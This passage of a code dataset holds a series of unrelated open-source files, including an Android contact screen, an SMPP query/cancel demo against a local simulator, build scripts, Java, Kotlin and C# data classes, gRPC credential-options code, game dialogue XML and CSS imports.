AppCompatTextView txtEmailVal;\n private AppCompatTextView txtPhoneHomeVal;\n private AppCompatTextView txtPhoneMobileVal;\n\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n setContentView(R.layout.activity_single);\n\n createReference();\n callAPI();\n }\n\n private void callAPI() {\n compositeDisposable = new CompositeDisposable();\n\n ObserverUtil\n .subscribeToSingle(ApiClient.getClient().create(WebserviceBuilder.class).getSingleObject()\n , compositeDisposable, WebserviceBuilder.ApiNames.single, this);\n }\n\n private void createReference() {\n txtNameVal = (AppCompatTextView) findViewById(R.id.txt_name_val);\n txtEmailVal = (AppCompatTextView) findViewById(R.id.txt_email_val);\n txtPhoneHomeVal = (AppCompatTextView) findViewById(R.id.txt_phone_home_val);\n txtPhoneMobileVal = (AppCompatTextView) findViewById(R.id.txt_phone_mobile_val);\n }\n\n @Override\n public void onSingleSuccess(Object o, WebserviceBuilder.ApiNames apiNames) {\n switch (apiNames) {\n case single:\n ContactInfoModel contactInfoModel = (ContactInfoModel) o;\n if (contactInfoModel != null) {\n txtNameVal.setText(contactInfoModel.getName());\n txtEmailVal.setText(contactInfoModel.getEmail());\n ContactInfoModel.PhoneBean phone = contactInfoModel.getPhone();\n txtPhoneHomeVal.setText(phone.getHome());\n txtPhoneMobileVal.setText(phone.getMobile());\n }\n break;\n }\n }\n\n @Override\n protected void onDestroy() {\n compositeDisposable.clear();\n super.onDestroy();\n }\n\n @Override\n public void onFailure(Throwable throwable, WebserviceBuilder.ApiNames apiNames) {\n AppLog.log(false, \"SingleActivity \" + \"onFailure: \", throwable);\n }\n}\n"} {"text": "package com.cloudhopper.smpp.demo;\n\n/*\n * #%L\n * ch-smpp\n * %%\n * Copyright (C) 2009 - 2015 Cloudhopper by Twitter\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n */\n\nimport com.cloudhopper.commons.charset.CharsetUtil;\nimport com.cloudhopper.commons.util.windowing.WindowFuture;\nimport com.cloudhopper.smpp.SmppSessionConfiguration;\nimport com.cloudhopper.smpp.SmppBindType;\nimport com.cloudhopper.smpp.SmppSession;\nimport com.cloudhopper.smpp.impl.DefaultSmppClient;\nimport com.cloudhopper.smpp.impl.DefaultSmppSessionHandler;\nimport com.cloudhopper.smpp.type.Address;\nimport com.cloudhopper.smpp.pdu.CancelSm;\nimport com.cloudhopper.smpp.pdu.CancelSmResp;\nimport com.cloudhopper.smpp.pdu.EnquireLink;\nimport com.cloudhopper.smpp.pdu.EnquireLinkResp;\nimport com.cloudhopper.smpp.pdu.PduRequest;\nimport com.cloudhopper.smpp.pdu.PduResponse;\nimport com.cloudhopper.smpp.pdu.QuerySm;\nimport com.cloudhopper.smpp.pdu.QuerySmResp;\nimport com.cloudhopper.smpp.pdu.SubmitSm;\nimport com.cloudhopper.smpp.pdu.SubmitSmResp;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Demo for testing query_sm and cancel_sm against a simulator. Copied from ClientMain\n * and added a QuerySm and CancelSm for the message that was sent in the SubmitSm.\n * @author garth\n */\npublic class QueryCancelMain {\n private static final Logger logger = LoggerFactory.getLogger(QueryCancelMain.class);\n\n static public void main(String[] args) throws Exception {\n //\n // setup 3 things required for any session we plan on creating\n //\n \n // for monitoring thread use, it's preferable to create your own instance\n // of an executor with Executors.newCachedThreadPool() and cast it to ThreadPoolExecutor\n // this permits exposing thinks like executor.getActiveCount() via JMX possible\n // no point renaming the threads in a factory since underlying Netty \n // framework does not easily allow you to customize your thread names\n ThreadPoolExecutor executor = (ThreadPoolExecutor)Executors.newCachedThreadPool();\n \n // to enable automatic expiration of requests, a second scheduled executor\n // is required which is what a monitor task will be executed with - this\n // is probably a thread pool that can be shared with between all client bootstraps\n ScheduledThreadPoolExecutor monitorExecutor = (ScheduledThreadPoolExecutor)Executors.newScheduledThreadPool(1, new ThreadFactory() {\n private AtomicInteger sequence = new AtomicInteger(0);\n @Override\n public Thread newThread(Runnable r) {\n Thread t = new Thread(r);\n t.setName(\"SmppClientSessionWindowMonitorPool-\" + sequence.getAndIncrement());\n return t;\n }\n });\n \n // a single instance of a client bootstrap can technically be shared\n // between any sessions that are created (a session can go to any different\n // number of SMSCs) - each session created under\n // a client bootstrap will use the executor and monitorExecutor set\n // in its constructor - just be *very* careful with the \"expectedSessions\"\n // value to make sure it matches the actual number of total concurrent\n // open sessions you plan on handling - the underlying netty library\n // used for NIO sockets essentially uses this value as the max number of\n // threads it will ever use, despite the \"max pool size\", etc. set on\n // the executor passed in here\n DefaultSmppClient clientBootstrap = new DefaultSmppClient(Executors.newCachedThreadPool(), 1, monitorExecutor);\n\n //\n // setup configuration for a client session\n //\n DefaultSmppSessionHandler sessionHandler = new ClientSmppSessionHandler();\n\n SmppSessionConfiguration config0 = new SmppSessionConfiguration();\n config0.setWindowSize(1);\n config0.setName(\"Tester.Session.0\");\n config0.setType(SmppBindType.TRANSCEIVER);\n config0.setHost(\"127.0.0.1\");\n config0.setPort(2776);\n config0.setConnectTimeout(10000);\n config0.setSystemId(\"smppclient1\");\n config0.setPassword(\"password\");\n config0.getLoggingOptions().setLogBytes(true);\n // to enable monitoring (request expiration)\n config0.setRequestExpiryTimeout(30000);\n config0.setWindowMonitorInterval(15000);\n config0.setCountersEnabled(true);\n\n //\n // create session, enquire link, submit an sms, close session\n //\n SmppSession session0 = null;\n\n try {\n // create session a session by having the bootstrap connect a\n // socket, send the bind request, and wait for a bind response\n session0 = clientBootstrap.bind(config0, sessionHandler);\n \n System.out.println(\"Press any key to send enquireLink #1\");\n System.in.read();\n\n // demo of a \"synchronous\" enquireLink call - send it and wait for a response\n EnquireLinkResp enquireLinkResp1 = session0.enquireLink(new EnquireLink(), 10000);\n logger.info(\"enquire_link_resp #1: commandStatus [\" + enquireLinkResp1.getCommandStatus() + \"=\" + enquireLinkResp1.getResultMessage() + \"]\");\n \n System.out.println(\"Press any key to send enquireLink #2\");\n System.in.read();\n\n // demo of an \"asynchronous\" enquireLink call - send it, get a future,\n // and then optionally choose to pick when we wait for it\n WindowFuture<Integer,PduRequest,PduResponse> future0 = session0.sendRequestPdu(new EnquireLink(), 10000, true);\n if (!future0.await()) {\n logger.error(\"Failed to receive enquire_link_resp within specified time\");\n } else if (future0.isSuccess()) {\n EnquireLinkResp enquireLinkResp2 = (EnquireLinkResp)future0.getResponse();\n logger.info(\"enquire_link_resp #2: commandStatus [\" + enquireLinkResp2.getCommandStatus() + \"=\" + enquireLinkResp2.getResultMessage() + \"]\");\n } else {\n logger.error(\"Failed to properly receive enquire_link_resp: \" + future0.getCause());\n }\n\n System.out.println(\"Press any key to send submit #1\");\n System.in.read();\n\n String text160 = \"\\u20AC Lorem [ipsum] dolor sit amet, consectetur adipiscing elit. Proin feugiat, leo id commodo tincidunt, nibh diam ornare est, vitae accumsan risus lacus sed sem metus.\";\n byte[] textBytes = CharsetUtil.encode(text160, CharsetUtil.CHARSET_GSM);\n \n SubmitSm submit0 = new SubmitSm();\n\n // add delivery receipt\n //submit0.setRegisteredDelivery(SmppConstants.REGISTERED_DELIVERY_SMSC_RECEIPT_REQUESTED);\n\n submit0.setSourceAddress(new Address((byte)0x03, (byte)0x00, \"40404\"));\n submit0.setDestAddress(new Address((byte)0x01, (byte)0x01, \"44555519205\"));\n submit0.setShortMessage(textBytes);\n\n SubmitSmResp submitResp = session0.submit(submit0, 10000);\n\n\t logger.info(\"Got messageId: {}\", submitResp.getMessageId());\n\n System.out.println(\"Press any key to send query #1\");\n System.in.read();\n\n\t QuerySm query0 = new QuerySm();\n\t query0.setMessageId(submitResp.getMessageId());\n query0.setSourceAddress(new Address((byte)0x03, (byte)0x00, \"40404\"));\n\n\t WindowFuture<Integer,PduRequest,PduResponse> future1 = session0.sendRequestPdu(query0, 10000, true);\n\t while (!future1.isDone()) {}\n\t QuerySmResp queryResp = (QuerySmResp)future1.getResponse();\n\n System.out.println(\"Press any key to send cancel #1\");\n System.in.read();\n\n\t CancelSm cancel0 = new CancelSm();\n\t cancel0.setMessageId(submitResp.getMessageId());\n cancel0.setSourceAddress(new Address((byte)0x03, (byte)0x00, \"40404\"));\n cancel0.setDestAddress(new Address((byte)0x01, (byte)0x01, \"44555519205\"));\n\t WindowFuture<Integer,PduRequest,PduResponse> future2 = session0.sendRequestPdu(cancel0, 10000, true);\n\t while (!future2.isDone()) {}\n\t CancelSmResp cancelResp = (CancelSmResp)future2.getResponse();\n \n logger.info(\"sendWindow.size: {}\", session0.getSendWindow().getSize());\n \n System.out.println(\"Press any key to unbind and close sessions\");\n System.in.read();\n \n session0.unbind(5000);\n } catch (Exception e) {\n logger.error(\"\", e);\n }\n\n if (session0 != null) {\n logger.info(\"Cleaning up session... (final counters)\");\n if (session0.hasCounters()) {\n logger.info(\"tx-enquireLink: {}\", session0.getCounters().getTxEnquireLink());\n logger.info(\"tx-submitSM: {}\", session0.getCounters().getTxSubmitSM());\n logger.info(\"tx-deliverSM: {}\", session0.getCounters().getTxDeliverSM());\n logger.info(\"tx-dataSM: {}\", session0.getCounters().getTxDataSM());\n logger.info(\"rx-enquireLink: {}\", session0.getCounters().getRxEnquireLink());\n logger.info(\"rx-submitSM: {}\", session0.getCounters().getRxSubmitSM());\n logger.info(\"rx-deliverSM: {}\", session0.getCounters().getRxDeliverSM());\n logger.info(\"rx-dataSM: {}\", session0.getCounters().getRxDataSM());\n }\n \n session0.destroy();\n // alternatively, could call close(), get outstanding requests from\n // the sendWindow (if we wanted to retry them later), then call shutdown()\n }\n\n // this is required to not causing server to hang from non-daemon threads\n // this also makes sure all open Channels are closed to I *think*\n logger.info(\"Shutting down client bootstrap and executors...\");\n clientBootstrap.destroy();\n executor.shutdownNow();\n monitorExecutor.shutdownNow();\n \n logger.info(\"Done. Exiting\");\n }\n\n /**\n * Could either implement SmppSessionHandler or only override select methods\n * by extending a DefaultSmppSessionHandler.\n */\n public static class ClientSmppSessionHandler extends DefaultSmppSessionHandler {\n\n public ClientSmppSessionHandler() {\n super(logger);\n }\n\n @Override\n public void firePduRequestExpired(PduRequest pduRequest) {\n logger.warn(\"PDU request expired: {}\", pduRequest);\n }\n\n @Override\n public PduResponse firePduRequestReceived(PduRequest pduRequest) {\n PduResponse response = pduRequest.createResponse();\n\n // do any logic here\n \n return response;\n }\n \n }\n \n}\n"} {"text": "###########################################################################\n#\n# Copyright 2018 Samsung Electronics All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,\n# either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n#\n###########################################################################\n-include $(TOPDIR)/.config\n-include $(TOPDIR)/Make.defs\nASRCS\t\t=\nCSRCS\t\t= error_report.c\n\nAOBJS\t\t= $(ASRCS:.S=$(OBJEXT))\nCOBJS\t\t= $(CSRCS:.c=$(OBJEXT))\n\nSRCS\t\t= $(ASRCS) $(CSRCS)\nOBJS\t\t= $(AOBJS) $(COBJS)\n\nifeq ($(CONFIG_WINDOWS_NATIVE),y)\n BIN\t\t= ..\\libexternal$(LIBEXT)\nelse\nifeq ($(WINTOOL),y)\n BIN\t\t= ..\\\\libexternal$(LIBEXT)\nelse\n BIN\t\t= ../libexternal$(LIBEXT)\nendif\nendif\n\nDEPPATH\t= --dep-path .\n\n# Common build\n\nVPATH\t\t=\n\nall: .built\n.PHONY: depend clean distclean\n\n$(AOBJS): %$(OBJEXT): %.S\n\t$(call ASSEMBLE, $<, $@)\n\n$(COBJS): %$(OBJEXT): %.c\n\t$(call COMPILE, $<, $@)\n\n.built: $(OBJS)\n\t$(call ARCHIVE, $(BIN), $(OBJS))\n\t$(Q) touch .built\n\n.depend: Makefile $(SRCS)\n\t$(Q) $(MKDEP) $(DEPPATH) \"$(CC)\" -- $(CFLAGS) -- $(SRCS) >Make.dep\n\t$(Q) touch $@\n\ndepend: .depend\n\nclean:\n\t$(call DELFILE, .built)\n\t$(call CLEAN)\n\ndistclean: clean\n\t$(call DELFILE, Make.dep)\n\t$(call DELFILE, .depend)\n\n-include Make.dep\n\n"} {"text": "# Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\nvespa_add_library(storageapi_messageapi OBJECT\n SOURCES\n bucketcommand.cpp\n bucketreply.cpp\n bucketinfocommand.cpp\n bucketinforeply.cpp\n maintenancecommand.cpp\n returncode.cpp\n storagemessage.cpp\n storagecommand.cpp\n storagereply.cpp\n DEPENDS\n)\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.apache.nifi.web.api.entity;\n\nimport io.swagger.annotations.ApiModelProperty;\nimport org.apache.nifi.web.api.dto.ReadablePermission;\nimport org.apache.nifi.web.api.dto.status.PortStatusSnapshotDTO;\n\n/**\n * A serialized representation of this class can be placed in the entity body of a request or response to or from the API. This particular entity holds a reference to a\n * PortStatusSnapshotDTO.\n */\npublic class PortStatusSnapshotEntity extends Entity implements ReadablePermission {\n private String id;\n private PortStatusSnapshotDTO portStatusSnapshot;\n private Boolean canRead;\n\n /**\n * @return The port id\n */\n @ApiModelProperty(\"The id of the port.\")\n public String getId() {\n return id;\n }\n\n public void setId(String id) {\n this.id = id;\n }\n\n /**\n * The PortStatusSnapshotDTO that is being serialized.\n *\n * @return The PortStatusSnapshotDTO object\n */\n public PortStatusSnapshotDTO getPortStatusSnapshot() {\n return portStatusSnapshot;\n }\n\n public void setPortStatusSnapshot(PortStatusSnapshotDTO portStatusSnapshot) {\n this.portStatusSnapshot = portStatusSnapshot;\n }\n\n @Override\n public Boolean getCanRead() {\n return canRead;\n }\n\n @Override\n public void setCanRead(Boolean canRead) {\n this.canRead = canRead;\n }\n\n @Override\n public PortStatusSnapshotEntity clone() {\n final PortStatusSnapshotEntity other = new PortStatusSnapshotEntity();\n other.setCanRead(this.getCanRead());\n other.setPortStatusSnapshot(this.getPortStatusSnapshot().clone());\n\n return other;\n }\n}\n"} {"text": "package nwpu.sherman.dao;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Repository;\n\n/**\n * dao层,完成向tbl_user中插入一条记录\n *\n * @author sherman\n */\n@Repository\npublic class UserDao {\n @Autowired\n private JdbcTemplate jdbcTemplate;\n\n public void insert(String username, int age) {\n String sql = \"insert into `tbl_user`(username, age) values(?, ?)\";\n jdbcTemplate.update(sql, username, age);\n }\n}\n"} {"text": "/*\n * Copyright © 2015 Stefan Niederhauser (nidin@gmx.ch)\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage guru.nidi.graphviz\n\nimport guru.nidi.graphviz.attribute.*\nimport guru.nidi.graphviz.attribute.Rank.RankDir.LEFT_TO_RIGHT\nimport guru.nidi.graphviz.engine.Format.PNG\nimport guru.nidi.graphviz.model.Compass.NORTH\nimport guru.nidi.graphviz.model.Compass.SOUTH\nimport org.junit.jupiter.api.Test\nimport java.io.File\n\nclass ReadmeTest {\n @Test\n fun simple() {\n //## kotlin\n graph(directed = true) {\n edge[\"color\" eq \"red\", Arrow.TEE]\n node[Color.GREEN]\n graph[Rank.dir(LEFT_TO_RIGHT)]\n\n \"a\" - \"b\" - \"c\"\n (\"c\"[Color.RED] - \"d\"[Color.BLUE])[Arrow.VEE]\n \"d\" / NORTH - \"e\" / SOUTH\n }.toGraphviz().render(PNG).toFile(File(\"example/ex1.png\"))\n //## end\n }\n}\n"} {"text": "# LIBRARIES\n##################################################\ncommon_libolacommon_la_SOURCES += common/dmx/RunLengthEncoder.cpp\n\n# TESTS\n##################################################\ntest_programs += common/dmx/RunLengthEncoderTester\n\ncommon_dmx_RunLengthEncoderTester_SOURCES = common/dmx/RunLengthEncoderTest.cpp\ncommon_dmx_RunLengthEncoderTester_CXXFLAGS = $(COMMON_TESTING_FLAGS)\ncommon_dmx_RunLengthEncoderTester_LDADD = $(COMMON_TESTING_LIBS)\n"} {"text": "S : \"1\" A ;\n : B \"0\" ;\nA : \"1\" A ;\n : \"0\" A ;\n : ;\nB : \"0\" B \"1\" ;\n : \"1\" B \"0\" ;\n : \"0\" B \"0\" ;\n : \"1\" B \"1\" ;\n : C ;\nC : \"1\" \"0\" \"0\" D ;\n : \"1\" \"1\" \"0\" D ;\n : \"1\" \"1\" \"1\" D ;\nD : B ;\n : ;\n"} {"text": "package io.virtualapp.glide;\n\nimport android.content.Context;\nimport android.support.annotation.NonNull;\nimport android.support.annotation.Nullable;\nimport com.bumptech.glide.load.Options;\nimport com.bumptech.glide.load.model.ModelLoader;\nimport com.bumptech.glide.signature.ObjectKey;\nimport java.io.InputStream;\n\n/**\n * Created by Windy on 2018/10/25\n */\npublic class PackageIconResourceLoader implements ModelLoader<String, InputStream> {\n\n public static final String DATA_PACKAGE_PREFIX = \"data:packageName/\";\n public static final String DATA_PACKAGE_FILE_PATH_PREFIX = \"data:packageFilePath/\";\n\n private Context context;\n\n\n public PackageIconResourceLoader(Context context) {\n this.context = context;\n }\n\n @Nullable\n @Override\n public LoadData<InputStream> buildLoadData(@NonNull String model, int width, int height, @NonNull Options options) {\n return new LoadData<>(new ObjectKey(model), new PackageIconResourceDataFetcher(context, model));\n }\n\n @Override\n public boolean handles(@NonNull String model) {\n return model.startsWith(DATA_PACKAGE_PREFIX) || model.startsWith(DATA_PACKAGE_FILE_PATH_PREFIX);\n }\n}\n"} {"text": "# Deprecated in Drupal 8.3.x and will be removed before Drupal 9.0.0.\n# This is just for BC and not used anymore. See https://www.drupal.org/node/2669802\ndrupal.block_content:\n version: VERSION\n js: {}\n dependencies:\n - core/drupal.entity-form\n"} {"text": "//Microsoft Developer Studio generated resource script.\n//\n#include \"..\\..\\resource.h\"\n\n#define APSTUDIO_READONLY_SYMBOLS\n/////////////////////////////////////////////////////////////////////////////\n//\n// Generated from the TEXTINCLUDE 2 resource.\n//\n#include \"afxres.h\"\n\n/////////////////////////////////////////////////////////////////////////////\n#undef APSTUDIO_READONLY_SYMBOLS\n\n/////////////////////////////////////////////////////////////////////////////\n// English (U.S.) resources\n\n#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)\n#ifdef _WIN32\nLANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US\n#pragma code_page(1252)\n#endif //_WIN32\n\n#ifdef APSTUDIO_INVOKED\n/////////////////////////////////////////////////////////////////////////////\n//\n// TEXTINCLUDE\n//\n\n1 TEXTINCLUDE DISCARDABLE \nBEGIN\n \"..\\\\..\\\\resource.h\\0\"\nEND\n\n2 TEXTINCLUDE DISCARDABLE \nBEGIN\n \"#include \"\"afxres.h\"\"\\r\\n\"\n \"\\0\"\nEND\n\n3 TEXTINCLUDE DISCARDABLE \nBEGIN\n \"\\r\\n\"\n \"\\0\"\nEND\n\n#endif // APSTUDIO_INVOKED\n\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// String Table\n//\n\nSTRINGTABLE DISCARDABLE \nBEGIN\n IDS_GENERIC_ERROR \"Internal LithTech error: %1!d!.\"\n IDS_MISSINGWORLDMODEL \"Missing WorldModel: %1!s!.\"\n IDS_CANTLOADGAMERESOURCES \"Can't load game resources in %1!s!.\"\n IDS_CANTINITIALIZEINPUT \"Can't initialize DirectInput.\"\n IDS_UNABLETORESTOREVIDEO \"Unable to restore video mode.\"\n IDS_USERCANCELED \"User canceled.\"\n IDS_INVALIDWORLDFILE \"%1!s! is an invalid world file.\"\n IDS_MISSINGMODELFILE \"Missing model file %1!s!.\"\n IDS_INVALIDMODELFILE \"%1!s! is an invalid model file.\"\n IDS_MISSINGSPRITEFILE \"Missing sprite file %1!s!.\"\n IDS_INVALIDSPRITEFILE \"%1!s! is an invalid sprite file.\"\n IDS_NOGAMERESOURCES \"No game resources specified.\"\n IDS_MISSINGWORLDFILE \"Missing world file %1!s!.\"\n IDS_CANTRESTOREOBJECT \"Unable to restore object (class %1!s!).\"\n IDS_SERVERERROR \"Server error: %1!s!.\"\nEND\n\nSTRINGTABLE DISCARDABLE \nBEGIN\n IDS_INVALIDOBJECTDLLVERSION \n \"Object DLL %1!s! is an invalid version (%2!d!). Current version is %3!d!.\"\n IDS_INVALIDSHELLDLL \"Invalid shell DLL %1!s!.\"\n IDS_INVALIDSHELLDLLVERSION \n \"Invalid shell DLL version for %1!s!. DLL version is %2!d!, current version is %3!d!.\"\n IDS_MISSINGSHELLDLL \"Missing shell DLL %1!s!.\"\nEND\n\nSTRINGTABLE DISCARDABLE \nBEGIN\n IDS_CANTCREATECLIENTSHELL \"Can't create client shell.\"\n IDS_UNABLETOINITSOUND \"Unable to initialize sound system.\"\n IDS_INVALIDSERVERPACKET \"Got an invalid server packet.\"\n IDS_MISSINGCLASS \"Missing class: %1!s!.\"\n IDS_ERRORINITTINGNETDRIVER \"Unable to initialize network driver %1!s!.\"\n IDS_INVALIDNETVERSION \"Network protocol version mismatch - your version: %1!d!, server's version: %2!d!.\"\nEND\n\nSTRINGTABLE DISCARDABLE \nBEGIN\n IDS_CANTCREATESERVERSHELL \"Unable to create server shell.\"\nEND\n\nSTRINGTABLE DISCARDABLE \nBEGIN\n IDS_ERRORLOADINGRENDERDLL \"Error loading render DLL %1!s!.\"\n IDS_ERRORCOPYINGFILE \"Error copying file %1!s!.\"\nEND\n\n#endif // English (U.S.) resources\n/////////////////////////////////////////////////////////////////////////////\n\n\n\n#ifndef APSTUDIO_INVOKED\n/////////////////////////////////////////////////////////////////////////////\n//\n// Generated from the TEXTINCLUDE 3 resource.\n//\n\n\n/////////////////////////////////////////////////////////////////////////////\n#endif // not APSTUDIO_INVOKED\n\n"} {"text": "package com.tencent.mm.ui.base;\n\npublic abstract interface h$c\n{\n public abstract void dW(int paramInt);\n}\n\n/* Location:\n * Qualified Name: com.tencent.mm.ui.base.h.c\n * Java Class Version: 6 (50.0)\n * JD-Core Version: 0.7.1\n */"} {"text": "/*\n *\n * Copyright 2018 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n#include <grpc/support/port_platform.h>\n\n#include \"src/core/lib/security/credentials/alts/grpc_alts_credentials_options.h\"\n\n#include <grpc/support/alloc.h>\n#include <grpc/support/log.h>\n\ngrpc_alts_credentials_options* grpc_alts_credentials_options_copy(\n const grpc_alts_credentials_options* options) {\n if (options != nullptr && options->vtable != nullptr &&\n options->vtable->copy != nullptr) {\n return options->vtable->copy(options);\n }\n /* An error occurred. */\n gpr_log(GPR_ERROR,\n \"Invalid arguments to grpc_alts_credentials_options_copy()\");\n return nullptr;\n}\n\nvoid grpc_alts_credentials_options_destroy(\n grpc_alts_credentials_options* options) {\n if (options != nullptr) {\n if (options->vtable != nullptr && options->vtable->destruct != nullptr) {\n options->vtable->destruct(options);\n }\n gpr_free(options);\n }\n}\n"} {"text": "using System.Runtime.Serialization;\nusing ServiceStack;\n\nnamespace RedisAdminUI.ServiceModel.Operations.Common\n{\n\t[DataContract]\n\tpublic class ContainsKey\n\t{\n\t\t[DataMember] \n\t\tpublic string Key { get; set; }\n\t}\n\n\t[DataContract]\n\tpublic class ContainsKeyResponse\n\t{\n\t\tpublic ContainsKeyResponse()\n\t\t{\n\t\t\tthis.ResponseStatus = new ResponseStatus();\n\t\t}\n\n\t\t[DataMember] \n\t\tpublic bool Result { get; set; }\n\n\t\t[DataMember]\n\t\tpublic ResponseStatus ResponseStatus { get; set; }\n\t}\n}"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<xmsbt>\r\n\t<entry label=\"Demo706_0_Text000\">\r\n\t\t<text>Well, well, well...&#xE;&#x1;\\0&#x4;\\0+\r\n\r\n\r\nYou sure do know how to keep a\r\nwoman waiting.&#xE;&#x1;\\0&#x4;\\0I\r\n\r\nI can't wait to see you take Naboris back\r\nfrom Ganon!&#xE;&#x1;\\0&#x4;\\0i</text>\r\n\t</entry>\r\n\t<entry label=\"Demo706_0_Text001\">\r\n\t\t<text>Head over to that &#xE;\\0&#x3;&#x2;\\0Guidance Stone &#xE;\\0&#x3;&#x2;&#xFFFF;over\r\nthere. Sounds easy, right?&#xE;&#x1;\\0&#x4;\\0€</text>\r\n\t</entry>\r\n\t<entry label=\"Demo706_0_Text002\">\r\n\t\t<text>One thing at a time. You'll need a map\r\nto find your way around.&#xE;&#x1;\\0&#x4;\\0ƒ</text>\r\n\t</entry>\r\n</xmsbt>"} {"text": "# OpenVPN 3 Linux client -- Next generation OpenVPN client\n#\n# Copyright (C) 2017-2018 OpenVPN Inc. <sales@openvpn.net>\n# Copyright (C) 2017-2018 David Sommerseth <davids@openvpn.net>\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, version 3 of the\n# License.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see <https://www.gnu.org/licenses/>.\n#\n\n%.service : %.service.in Makefile\n\t$(AM_V_GEN)sed -e 's|\\@SBINDIR\\@|$(sbindir)|' \\\n\t\t -e 's|\\@OPENVPN3_CONFIGDIR\\@|$(openvpn3_configdir)|' \\\n\t\t$< > $@.tmp && mv $@.tmp $@\n\nMAINTAINERCLEANFILES = \\\n\tMakefile.in\n\nEXTRA_DIST = \\\n\topenvpn3-autoload.service.in\n\nsystemd_unit_DATA = \\\n\topenvpn3-autoload.service\n\nCLEANFILES = $(systemd_unit_DATA) *~\n\ninstall-data-local:\n\t$(MKDIR_P) \"$(DESTDIR)$(openvpn3_configdir)\"\n\t$(MKDIR_P) -m750 \"$(DESTDIR)$(openvpn3_configdir)/autoload\"\n"} {"text": "/*!\n * jQuery UI CSS Framework 1.11.4\n * http://jqueryui.com\n *\n * Copyright jQuery Foundation and other contributors\n * Released under the MIT license.\n * http://jquery.org/license\n *\n * http://api.jqueryui.com/category/theming/\n */\n@import url(\"core.css\");\n\n@import url(\"accordion.css\");\n@import url(\"autocomplete.css\");\n@import url(\"button.css\");\n@import url(\"datepicker.css\");\n@import url(\"dialog.css\");\n@import url(\"draggable.css\");\n@import url(\"menu.css\");\n@import url(\"progressbar.css\");\n@import url(\"resizable.css\");\n@import url(\"selectable.css\");\n@import url(\"selectmenu.css\");\n@import url(\"sortable.css\");\n@import url(\"slider.css\");\n@import url(\"spinner.css\");\n@import url(\"tabs.css\");\n@import url(\"tooltip.css\");\n"} {"text": "/* ***** BEGIN LICENSE BLOCK *****\n * Distributed under the BSD license:\n *\n * Copyright (c) 2010, Ajax.org B.V.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n * * Neither the name of Ajax.org B.V. nor the\n * names of its contributors may be used to endorse or promote products\n * derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL AJAX.ORG B.V. BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * 